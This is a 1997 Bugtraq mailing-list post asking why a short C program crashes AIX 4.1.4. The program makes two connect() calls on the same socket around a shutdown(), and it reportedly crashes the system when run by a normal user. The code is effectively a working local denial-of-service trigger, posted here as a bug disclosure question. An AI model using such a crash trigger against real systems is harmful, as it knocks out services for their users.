Bugtraq mailing list archives
Bug in connect() for aix 4.1.4 ?
From: cwirawan () EMAIL ARCHLAB TUWIEN AC AT (Cahya Wirawan)
Date: Wed, 5 Mar 1997 13:23:54 +0100
Can someone tell me why this simple tcp program crashes aix 4.1.4 .
I run this program as a normal user, and the second connect crashes aix.
is it just connect's old bug from aix ? i have tried it in aix 3.2
but it works only in 4.1.4.
_____________________________________________________________________
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <netdb.h>
#include <stdio.h>
main()
{
    int sock;
    struct sockaddr_in server;
    struct hostent *hp;
    sock = socket(AF_INET, SOCK_STREAM, 0);
    /* or sock = socket(AF_INET, SOCK_STREAM, 6); */
    hp = gethostbyname("localhost");
    bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
    server.sin_family = AF_INET;
    server.sin_port = 23;
    connect(sock, (struct sockaddr *)&server, sizeof server);
    shutdown(sock, 2);
    server.sin_port = 24;
    connect(sock, (struct sockaddr *)&server, sizeof server);
}
_________________________________________________________________________
Cahya Wirawan.
Current thread:
- Bug in connect() for aix 4.1.4 ? Cahya Wirawan (Mar 05)
- Re: Bug in connect() for aix 4.1.4 ? Steve Campbell (Mar 05)
- I.I.S and Security - No authentication of scripts. daragh_malone () TELECOM IE (Mar 05)
- Re: I.I.S and Security - No authentication of scripts. Greg Haverkamp (Mar 06)
 - 4.4BSD NFS File Handles David Sacerdote (Mar 06)
 - 4.4BSD NFS File Handles Aleph One (Mar 06)
 - I.I.S 3.0: Another slight security concern ? daragh_malone () TELECOM IE (Mar 07)
 - COLD FUSION BUG Bill Staples (Mar 07)
 
 - Re: Bug in connect() for aix 4.1.4 ? Rikhardur Egilsson (Mar 05)
- Re: Bug in connect() for aix 4.1.4 ? Frank Hofmann (Mar 06)
 - Re: Bug in connect() for aix 4.1.4 ? Ollivier Robert (Mar 06)
 
 
 - I.I.S and Security - No authentication of scripts. daragh_malone () TELECOM IE (Mar 05)
 
 - Re: Bug in connect() for aix 4.1.4 ? Steve Campbell (Mar 05)
 
